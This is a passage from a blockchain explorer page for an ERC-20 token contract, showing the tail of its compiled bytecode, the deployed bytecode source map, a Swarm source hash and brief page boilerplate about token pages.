1681522054610c819086610e1a565b6001600160a01b038916600090815260026020526040902055610ca381610e79565b610cad8483610ec3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cf291815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610d248282610b9e565b821015610d44575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d6e5760405162461bcd60e51b8152600401610481919061100e565b50600061091884866111f7565b6000806000806000806000806000610d988a600854600954610ee7565b9250925092506000610da8610b7b565b90506000806000610dbb8e878787610f3c565b919e509c509a509598509396509194505050505091939550919395565b600061099e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108e7565b600080610e27838561128a565b90508381101561099e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610481565b6000610e83610b7b565b90506000610e918383610f8c565b30600090815260026020526040902054909150610eae9082610e1a565b30600090815260026020526040902055505050565b600654610ed09083610dd8565b600655600754610ee09082610e1a565b6007555050565b6000808080610f016064610efb8989610f8c565b90610b9e565b90506000610f146064610efb8a89610f8c565b90506000610f2c82610f268b86610dd8565b90610dd8565b9992985090965090945050505050565b6000808080610f4b8886610f8c565b90506000610f598887610f8c565b90506000610f678888610f8c565b90506000610f7982610f268686610dd8565b939b939a50919850919650505050505050565b600082600003610f9e5750600061039a565b6000610faa83856111e0565b905082610fb785836111f7565b1461099e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610481565b600060208083528351808285015260005b8181101561103b5785810183015185820160400152820161101f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b757600080fd5b6000806040838503121561108457600080fd5b823561108f8161105c565b946020939093013593505050565b6000806000606084860312156110b257600080fd5b83356110bd8161105c565b925060208401356110cd8161105c565b929592945050506040919091013590565b6000602082840312156110f057600080fd5b813561099e8161105c565b6000806040838503121561110e57600080fd5b82356111198161105c565b915060208301356111298161105c565b809150509250929050565b60006020828403121561114657600080fd5b8151801515811461099e57600080fd5b60008060006060848603121561116b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039a5761039a611184565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d557600080fd5b815161099e8161105c565b808202811582820484141761039a5761039a611184565b60008261121457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112695784516001600160a01b031683529383019391830191600101611244565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561039a5761039a61118456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f39e7671daf8af28ebeeac50dab6907a7b4c27d1d4e5a1042a080bcc864039164736f6c63430008120033

Deployed Bytecode Sourcemap

3848:8517:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5777:83;;;;;;;;;;-1:-1:-1;5847:5:0;;;;;;;;;;;;-1:-1:-1;;;5847:5:0;;;;5777:83;;;;;;;:::i;:::-;;;;;;;;4782:27;;;;;;;;;;-1:-1:-1;4782:27:0;;;;-1:-1:-1;;;;;4782:27:0;;;;;;-1:-1:-1;;;;;749:32:1;;;731:51;;719:2;704:18;4782:27:0;567:221:1;6629:161:0;;;;;;;;;;-1:-1:-1;6629:161:0;;;;;:::i;:::-;;:::i;:::-;;;1414:14:1;;1407:22;1389:41;;1377:2;1362:18;6629:161:0;1249:187:1;6054:95:0;;;;;;;;;;-1:-1:-1;4301:12:0;6054:95;;;1587:25:1;;;1575:2;1560:18;6054:95:0;1441:177:1;6798:313:0;;;;;;;;;;-1:-1:-1;6798:313:0;;;;;:::i;:::-;;:::i;5963:83::-;;;;;;;;;;-1:-1:-1;5963:83:0;;4257:2;2226:36:1;;2214:2;2199:18;5963:83:0;2084:184:1;4750:25:0;;;;;;;;;;-1:-1:-1;4750:25:0;;;;-1:-1:-1;;;;;4750:25:0;;;6157:138;;;;;;;;;;-1:-1:-1;6157:138:0;;;;;:::i;:::-;;:::i;2941:148::-;;;;;;;;;;;;;:::i;:::-;;2727:79;;;;;;;;;;-1:-1:-1;2765:7:0;2792:6;-1:-1:-1;;;;;2792:6:0;2727:79;;5868:87;;;;;;;;;;-1:-1:-1;5940:7:0;;;;;;;;;;;;-1:-1:-1;;;5940:7:0;;;;5868:87;;6303:167;;;;;;;;;;-1:-1:-1;6303:167:0;;;;;:::i;:::-;;:::i;9322:::-;;;;;;;;;;-1:-1:-1;9322:167:0;;;;;:::i;:::-;;:::i;9139:175::-;;;;;;;;;;;;;:::i;6478:143::-;;;;;;;;;;-1:-1:-1;6478:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6586:18:0;;;6559:7;6586:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6478:143;5475:294;;;:::i;4816:22::-;;;;;;;;;;-1:-1:-1;4816:22:0;;;;-1:-1:-1;;;;;4816:22:0;;;6629:161;6704:4;6721:39;218:10;6744:7;6753:6;6721:8;:39::i;:::-;-1:-1:-1;6778:4:0;6629:161;;;;;:::o;6798:313::-;6896:4;6913:36;6923:6;6931:9;6942:6;6913:9;:36::i;:::-;6960:121;6969:6;218:10;6991:89;7029:6;6991:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6991:19:0;;;;;;:11;:19;;;;;;;;218:10;6991:33;;;;;;;;;;:37;:89::i;:::-;6960:8;:121::i;:::-;-1:-1:-1;7099:4:0;6798:313;;;;;:::o;6157:138::-;-1:-1:-1;;;;;6270:16:0;;6223:7;6270:16;;;:7;:16;;;;;;6250:37;;:19;:37::i;2941:148::-;2854:6;;-1:-1:-1;;;;;2854:6:0;218:10;2854:22;2846:67;;;;-1:-1:-1;;;2846:67:0;;3328:2:1;2846:67:0;;;3310:21:1;;;3347:18;;;3340:30;3406:34;3386:18;;;3379:62;3458:18;;2846:67:0;;;;;;;;;3048:1:::1;3032:6:::0;;3011:40:::1;::::0;-1:-1:-1;;;;;3032:6:0;;::::1;::::0;3011:40:::1;::::0;3048:1;;3011:40:::1;3079:1;3062:19:::0;;-1:-1:-1;;;;;;3062:19:0::1;::::0;;2941:148::o;6303:167::-;6381:4;6398:42;218:10;6422:9;6433:6;6398:9;:42::i;9322:167::-;9407:10;;-1:-1:-1;;;;;9407:10:0;9393;:24;9389:92;;9462:10;;9419:62;;-1:-1:-1;;;9419:62:0;;-1:-1:-1;;;;;3745:15:1;;;9419:62:0;;;3727:34:1;9462:10:0;;;3777:18:1;;;3770:43;3829:18;;;3822:34;;;9434:4:0;;9419:34;;3662:18:1;;9419:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9389:92;9322:167;;:::o;9139:175::-;9194:21;9230:11;;9226:81;;9266:10;;9258:37;;-1:-1:-1;;;;;9266:10:0;;;;9258:37;;;;;9287:7;;9266:10;9258:37;9266:10;9258:37;9287:7;9266:10;9258:37;;;;;;;;;;;;;;;;;;;9226:81;9165:149;9139:175::o;5475:294::-;2854:6;;-1:-1:-1;;;;;2854:6:0;218:10;2854:22;2846:67;;;;-1:-1:-1;;;2846:67:0;;3328:2:1;2846:67:0;;;3310:21:1;;;3347:18;;;3340:30;3406:34;3386:18;;;3379:62;3458:18;;2846:67:0;3126:356:1;2846:67:0;5537:9:::1;::::0;-1:-1:-1;;;;;5537:9:0::1;:25;5570:21;5601:4;5607:24;5601:4:::0;5607:9:::1;:24::i;:::-;5632:1;5634::::0;5636:7:::1;2765::::0;2792:6;-1:-1:-1;;;;;2792:6:0;;2727:79;5636:7:::1;5537:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5537:123:0;;;-1:-1:-1;;;;;4508:15:1;;;5537:123:0::1;::::0;::::1;4490:34:1::0;4540:18;;;4533:34;;;;4583:18;;;4576:34;;;;4626:18;;;4619:34;4690:15;;;4669:19;;;4662:44;5644:15:0::1;4722:19:1::0;;;4715:35;4424:19;;5537:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5680:7:0::1;::::0;5671:37:::1;::::0;-1:-1:-1;;;;;;5680:7:0::1;5697:4;-1:-1:-1::0;;5671:8:0::1;:37::i;:::-;5728:7;::::0;5745:9:::1;::::0;5719:42:::1;::::0;-1:-1:-1;;;;;5728:7:0;;::::1;::::0;5745:9:::1;-1:-1:-1::0;;5719:8:0::1;:42::i;:::-;5475:294::o:0;7726:335::-;-1:-1:-1;;;;;7819:19:0;;7811:68;;;;-1:-1:-1;;;7811:68:0;;5274:2:1;7811:68:0;;;5256:21:1;5313:2;5293:18;;;5286:30;5352:34;5332:18;;;5325:62;-1:-1:-1;;;5403:18:1;;;5396:34;5447:19;;7811:68:0;5072:400:1;7811:68:0;-1:-1:-1;;;;;7898:21:0;;7890:68;;;;-1:-1:-1;;;7890:68:0;;5679:2:1;7890:68:0;;;5661:21:1;5718:2;5698:18;;;5691:30;5757:34;5737:18;;;5730:62;-1:-1:-1;;;5808:18:1;;;5801:32;5850:19;;7890:68:0;5477:398:1;7890:68:0;-1:-1:-1;;;;;7969:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8021:32;;1587:25:1;;;8021:32:0;;1560:18:1;8021:32:0;;;;;;;7726:335;;;:::o;8073:548::-;-1:-1:-1;;;;;8186:24:0;;8153:12;8186:24;;;:18;:24;;;;;;8168:4;;8186:24;;;:50;;-1:-1:-1;;;;;;8214:22:0;;;;;;:18;:22;;;;;;;;8186:50;8183:382;;;-1:-1:-1;8263:5:0;8183:382;;;8305:6;;-1:-1:-1;;;8305:6:0;;;;8304:7;:26;;;;-1:-1:-1;8323:7:0;;-1:-1:-1;;;;;8315:15:0;;;8323:7;;8315:15;;8304:26;8301:253;;;8351:20;8374:24;8392:4;8374:9;:24::i;:::-;8351:47;-1:-1:-1;8420:16:0;;8417:94;;8461:30;8478:12;8461:16;:30::i;:::-;8529:9;:7;:9::i;:::-;8332:222;8301:253;8575:38;8590:4;8595:2;8598:6;8605:7;8575:14;:38::i;:::-;8142:479;8073:548;;;:::o;1273:190::-;1359:7;1395:12;1387:6;;;;1379:29;;;;-1:-1:-1;;;1379:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1419:9:0;1431:5;1435:1;1431;:5;:::i;:::-;1419:17;1273:190;-1:-1:-1;;;;;1273:190:0:o;7119:254::-;7186:7;7225;;7214;:18;;7206:73;;;;-1:-1:-1;;;7206:73:0;;6347:2:1;7206:73:0;;;6329:21:1;6386:2;6366:18;;;6359:30;6425:34;6405:18;;;6398:62;-1:-1:-1;;;6476:18:1;;;6469:40;6526:19;;7206:73:0;6145:406:1;7206:73:0;7290:19;7313:10;:8;:10::i;:::-;7290:33;-1:-1:-1;7341:24:0;:7;7290:33;7341:11;:24::i;:::-;7334:31;7119:254;-1:-1:-1;;;7119:254:0:o;8629:502::-;4910:6;:13;;-1:-1:-1;;;;4910:13:0;-1:-1:-1;;;4910:13:0;;;8728:16:::1;::::0;;8742:1:::1;8728:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8728:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8728:16:0::1;8704:40;;8773:4;8755;8760:1;8755:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8755:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8799:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;8799:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;8755:7;;8799:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8789:4;8794:1;8789:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8789:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;8858:9:::1;::::0;8826:56:::1;::::0;8843:4:::1;::::0;8858:9:::1;8870:11:::0;8826:8:::1;:56::i;:::-;4368:3;4354:11;4301:12;4364:1;4354:11;:::i;:::-;:17;;;;:::i;:::-;8901:11;:20;8893:29;;;::::0;::::1;;8933:9;::::0;:190:::1;::::0;-1:-1:-1;;;8933:190:0;;-1:-1:-1;;;;;8933:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;9008:11;;8933:9:::1;::::0;9050:4;;9077::::1;::::0;9097:15:::1;::::0;8933:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4946:6:0;:14;;-1:-1:-1;;;;4946:14:0;;;-1:-1:-1;;;;8629:502:0:o;9501:263::-;9613:7;9609:40;;9635:14;:12;:14::i;:::-;9660:44;9678:6;9686:9;9697:6;9660:17;:44::i;:::-;9719:7;9715:41;;9741:15;7657;;7647:7;:25;7694:16;;7683:8;:27;7603:115;11105:163;11146:7;11167:15;11184;11203:19;:17;:19::i;:::-;11166:56;;-1:-1:-1;11166:56:0;-1:-1:-1;11240:20:0;11166:56;;11240:11;:20::i;:::-;11233:27;;;;11105:163;:::o;1724:132::-;1782:7;1809:39;1813:1;1816;1809:39;;;;;;;;;;;;;;;;;:3;:39::i;7381:210::-;7427:7;;:12;:29;;;;-1:-1:-1;7443:8:0;;:13;7427:29;7424:41;;;7381:210::o;7424:41::-;7493:7;;;7475:15;:25;7530:8;;;7511:16;:27;-1:-1:-1;7549:11:0;;;;7571:12;7381:210::o;9772:490::-;9871:15;9888:23;9913:12;9927:23;9952:12;9966:13;9983:19;9994:7;9983:10;:19::i;:::-;-1:-1:-1;;;;;10031:15:0;;;;;;:7;:15;;;;;;9870:132;;-1:-1:-1;9870:132:0;;-1:-1:-1;9870:132:0;;-1:-1:-1;9870:132:0;-1:-1:-1;9870:132:0;-1:-1:-1;9870:132:0;-1:-1:-1;10031:28:0;;9870:132;10031:19;:28::i;:::-;-1:-1:-1;;;;;10013:15:0;;;;;;;:7;:15;;;;;;:46;;;;10091:18;;;;;;;:39;;10114:15;10091:22;:39::i;:::-;-1:-1:-1;;;;;10070:18:0;;;;;;:7;:18;;;;;:60;10144:16;10154:5;10144:9;:16::i;:::-;10171:23;10183:4;10189;10171:11;:23::i;:::-;10227:9;-1:-1:-1;;;;;10210:44:0;10219:6;-1:-1:-1;;;;;10210:44:0;;10238:15;10210:44;;;;1587:25:1;;1575:2;1560:18;;1441:177;10210:44:0;;;;;;;;9859:403;;;;;;9772:490;;;:::o;11276:255::-;11373:7;;11326;;;;4301:12;11440:20;11373:7;4301:12;11440:11;:20::i;:::-;11430:7;:30;11427:60;;;-1:-1:-1;;11470:7:0;;;4301:12;;-1:-1:-1;11276:255:0;-1:-1:-1;11276:255:0:o;11427:60::-;11506:7;;11515;;-1:-1:-1;11276:255:0;-1:-1:-1;11276:255:0:o;1864:189::-;1950:7;1985:12;1978:5;1970:28;;;;-1:-1:-1;;;1970:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2009:9:0;2021:5;2025:1;2021;:5;:::i;10270:468::-;10329:7;10338;10347;10356;10365;10374;10395:23;10420:12;10434:13;10451:39;10463:7;10472;;10481:8;;10451:11;:39::i;:::-;10394:96;;;;;;10501:19;10524:10;:8;:10::i;:::-;10501:33;;10546:15;10563:23;10588:12;10604:46;10616:7;10625:4;10631:5;10638:11;10604;:46::i;:::-;10545:105;;-1:-1:-1;10545:105:0;-1:-1:-1;10545:105:0;-1:-1:-1;10701:15:0;;-1:-1:-1;10718:4:0;;-1:-1:-1;10724:5:0;;-1:-1:-1;;;;;10270:468:0;;;;;;;:::o;1129:136::-;1187:7;1214:43;1218:1;1221;1214:43;;;;;;;;;;;;;;;;;:3;:43::i;942:179::-;1000:7;;1032:5;1036:1;1032;:5;:::i;:::-;1020:17;;1061:1;1056;:6;;1048:46;;;;-1:-1:-1;;;1048:46:0;;8788:2:1;1048:46:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:29;8846:18;;;8839:57;8913:18;;1048:46:0;8586:351:1;11956:214:0;12009:19;12032:10;:8;:10::i;:::-;12009:33;-1:-1:-1;12053:13:0;12069:22;:5;12009:33;12069:9;:22::i;:::-;12145:4;12129:22;;;;:7;:22;;;;;;12053:38;;-1:-1:-1;12129:33:0;;12053:38;12129:26;:33::i;:::-;12120:4;12104:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11956:214:0:o;12178:147::-;12256:7;;:17;;12268:4;12256:11;:17::i;:::-;12246:7;:27;12297:10;;:20;;12312:4;12297:14;:20::i;:::-;12284:10;:33;-1:-1:-1;;12178:147:0:o;10746:351::-;10839:7;;;;10892:28;10916:3;10892:19;:7;10904:6;10892:11;:19::i;:::-;:23;;:28::i;:::-;10877:43;-1:-1:-1;10931:13:0;10947:29;10972:3;10947:20;:7;10959;10947:11;:20::i;:29::-;10931:45;-1:-1:-1;10987:23:0;11013:28;10931:45;11013:17;:7;11025:4;11013:11;:17::i;:::-;:21;;:28::i;:::-;10987:54;11077:4;;-1:-1:-1;11083:5:0;;-1:-1:-1;10746:351:0;;-1:-1:-1;;;;;10746:351:0:o;11539:409::-;11649:7;;;;11705:24;:7;11717:11;11705;:24::i;:::-;11687:42;-1:-1:-1;11740:12:0;11755:21;:4;11764:11;11755:8;:21::i;:::-;11740:36;-1:-1:-1;11787:13:0;11803:22;:5;11813:11;11803:9;:22::i;:::-;11787:38;-1:-1:-1;11836:23:0;11862:28;11787:38;11862:17;:7;11874:4;11862:11;:17::i;:28::-;11909:7;;;;-1:-1:-1;11935:4:0;;-1:-1:-1;11539:409:0;;-1:-1:-1;;;;;;;11539:409:0:o;1471:245::-;1529:7;1552:1;1557;1552:6;1549:46;;-1:-1:-1;1582:1:0;1575:8;;1549:46;1605:9;1617:5;1621:1;1617;:5;:::i;:::-;1605:17;-1:-1:-1;1650:1:0;1641:5;1645:1;1605:17;1641:5;:::i;:::-;:10;1633:56;;;;-1:-1:-1;;;1633:56:0;;9144:2:1;1633:56:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:31;9314:19;;1633:56:0;8942:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;793:131::-;-1:-1:-1;;;;;868:31:1;;858:42;;848:70;;914:1;911;904:12;929:315;997:6;1005;1058:2;1046:9;1037:7;1033:23;1029:32;1026:52;;;1074:1;1071;1064:12;1026:52;1113:9;1100:23;1132:31;1157:5;1132:31;:::i;:::-;1182:5;1234:2;1219:18;;;;1206:32;;-1:-1:-1;;;929:315:1:o;1623:456::-;1700:6;1708;1716;1769:2;1757:9;1748:7;1744:23;1740:32;1737:52;;;1785:1;1782;1775:12;1737:52;1824:9;1811:23;1843:31;1868:5;1843:31;:::i;:::-;1893:5;-1:-1:-1;1950:2:1;1935:18;;1922:32;1963:33;1922:32;1963:33;:::i;:::-;1623:456;;2015:7;;-1:-1:-1;;;2069:2:1;2054:18;;;;2041:32;;1623:456::o;2481:247::-;2540:6;2593:2;2581:9;2572:7;2568:23;2564:32;2561:52;;;2609:1;2606;2599:12;2561:52;2648:9;2635:23;2667:31;2692:5;2667:31;:::i;2733:388::-;2801:6;2809;2862:2;2850:9;2841:7;2837:23;2833:32;2830:52;;;2878:1;2875;2868:12;2830:52;2917:9;2904:23;2936:31;2961:5;2936:31;:::i;:::-;2986:5;-1:-1:-1;3043:2:1;3028:18;;3015:32;3056:33;3015:32;3056:33;:::i;:::-;3108:7;3098:17;;;2733:388;;;;;:::o;3867:277::-;3934:6;3987:2;3975:9;3966:7;3962:23;3958:32;3955:52;;;4003:1;4000;3993:12;3955:52;4035:9;4029:16;4088:5;4081:13;4074:21;4067:5;4064:32;4054:60;;4110:1;4107;4100:12;4761:306;4849:6;4857;4865;4918:2;4906:9;4897:7;4893:23;4889:32;4886:52;;;4934:1;4931;4924:12;4886:52;4963:9;4957:16;4947:26;;5013:2;5002:9;4998:18;4992:25;4982:35;;5057:2;5046:9;5042:18;5036:25;5026:35;;4761:306;;;;;:::o;5880:127::-;5941:10;5936:3;5932:20;5929:1;5922:31;5972:4;5969:1;5962:15;5996:4;5993:1;5986:15;6012:128;6079:9;;;6100:11;;;6097:37;;;6114:18;;:::i;6688:127::-;6749:10;6744:3;6740:20;6737:1;6730:31;6780:4;6777:1;6770:15;6804:4;6801:1;6794:15;6820:251;6890:6;6943:2;6931:9;6922:7;6918:23;6914:32;6911:52;;;6959:1;6956;6949:12;6911:52;6991:9;6985:16;7010:31;7035:5;7010:31;:::i;7076:168::-;7149:9;;;7180;;7197:15;;;7191:22;;7177:37;7167:71;;7218:18;;:::i;7249:217::-;7289:1;7315;7305:132;;7359:10;7354:3;7350:20;7347:1;7340:31;7394:4;7391:1;7384:15;7422:4;7419:1;7412:15;7305:132;-1:-1:-1;7451:9:1;;7249:217::o;7471:980::-;7733:4;7781:3;7770:9;7766:19;7812:6;7801:9;7794:25;7838:2;7876:6;7871:2;7860:9;7856:18;7849:34;7919:3;7914:2;7903:9;7899:18;7892:31;7943:6;7978;7972:13;8009:6;8001;7994:22;8047:3;8036:9;8032:19;8025:26;;8086:2;8078:6;8074:15;8060:29;;8107:1;8117:195;8131:6;8128:1;8125:13;8117:195;;;8196:13;;-1:-1:-1;;;;;8192:39:1;8180:52;;8287:15;;;;8252:12;;;;8228:1;8146:9;8117:195;;;-1:-1:-1;;;;;;;8368:32:1;;;;8363:2;8348:18;;8341:60;-1:-1:-1;;;8432:3:1;8417:19;8410:35;8329:3;7471:980;-1:-1:-1;;;7471:980:1:o;8456:125::-;8521:9;;;8542:10;;;8539:36;;;8555:18;;:::i

Swarm Source

ipfs://9f39e7671daf8af28ebeeac50dab6907a7b4c27d1d4e5a1042a080bcc8640391
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.